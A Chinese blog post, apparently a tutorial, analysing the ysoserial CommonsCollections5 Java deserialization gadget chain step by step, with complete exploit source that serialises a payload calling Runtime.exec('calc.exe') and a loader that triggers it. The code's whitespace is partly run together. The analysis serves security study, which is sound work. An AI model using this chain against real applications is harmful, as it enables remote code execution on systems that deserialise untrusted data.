java反序列化 exp_java反序列化-ysoserial-调试分析总结篇(5)

前言:

这篇文章继续分析commonscollections5,由如下调用链可以看到此时最外层的类不是annotationinvoke,也不是priorityqueue了,变成了badattribute

59debec3c23dcde96634298b0c2f3052.png

该类要求没有配置security manager

利用链分析:

78d1e308ff40b92feda7c22019fc099e.png

首先在badAttribute的readObject中,调用了valObj.toString(),其中valObj中存储TiedMapEntry类的实例,即调用其tostring函数

260fc636213537588e379aab68e42a3c.png

接着调用该类的getValue函数

e0fcfe4194dbfe9fd9ab4b5e480e4dd8.png

而此时map存储的为lazymap,调用lazymap.get

cbf9654830d7e85b2cb9c43c15b637c4.png

调用lazymap.get中将调用this.factory的transform函数了,就又到了chainedtransform了

449657dfb8cb6fec948a0374df3efe2d.png

既然到了chainedTransformer,接下来就和cc1的利用一样了,通过一路反射进行rce

689161b5ec77ae9ae6fe5ac5e409c827.png

第一次Constant返回runtime类

b16978ac6590c04024b96dc278ab8683.png

第二次反射调用Runtime的getmethod函数,传入getruntime,返回method类型的getruntime

9ae54ece4302272ae5bf556eb25ddbc5.png

第三次反射调用getruntime返回runtime类实例

101140d4c887f93546d1f6f34a111100.png

第四轮就可以反射进行rce了,此时反射调用runtime类的exec方法

4481135511248237d34511a1d5165a8d.png

yso构造分析:

0e0a9cde3273c230ba555db3c09a1e31.png

首先构造chainedTransformer,以及内部的转换器,与cc1相同

4d907fbd817df35036a21398df579f2c.png

接下来构造lazymap,传入chained转换链

a7bfa92bf799d0ece6b0146da2059874.png

接着构造tiedmapEntry存入lazymap,和一个任意的key值,实际上调用该类的getvalue即可调用该lazymap的get函数

26dc59360b23aa049432309bc14e794f.png

接下来构造最外层的badAttributeValue,赋值其val变量为tiedMapEntry,从而调用badAttribute的readObject时调用其tiedMapEntry的tostring

c33e291332e13868c7860c89f0d6982b.png

最后反射替换chained中itransformer字段完成利用链的构造

2d90ef5634dc37c01646d6391d253741.png

手动exp构造:

exp.java

packageCommonsCollections5;importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.keyvalue.TiedMapEntry;importorg.apache.commons.collections.map.LazyMap;importjavax.management.BadAttributeValueExpException;import java.io.*;importjava.lang.reflect.Field;importjava.lang.reflect.Method;importjava.util.HashMap;importjava.util.Map;public classexp {public static void main(String[] args) throwsNoSuchFieldException, IllegalAccessException, IOException {//构造内部的转换链

Transformer[] trans = newTransformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})

};

ChainedTransformer chian= newChainedTransformer(trans);

HashMap map= newHashMap();

Map innerMap=LazyMap.decorate(map,chian);//构造外部的触发链

TiedMapEntry entry = new TiedMapEntry(innerMap, "tr1ple");

BadAttributeValueExpException val= new BadAttributeValueExpException(null);

Field valField= val.getClass().getDeclaredField("val");

valField.setAccessible(true);

valField.set(val,entry);//序列化

File file;

file=new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections5.ser");

ObjectOutputStream obj= new ObjectOutputStream(newFileOutputStream(file));

obj.writeObject(val);

}

}

readObj.java

packageCommonsCollections5;import java.io.*;importjava.lang.Runtime;public classreadObj {public static void main(String[] args) throwsIOException, ClassNotFoundException {

File file;

file= new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections5.ser");

ObjectInputStream obj= new ObjectInputStream(newFileInputStream(file));

obj.readObject();

}

}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值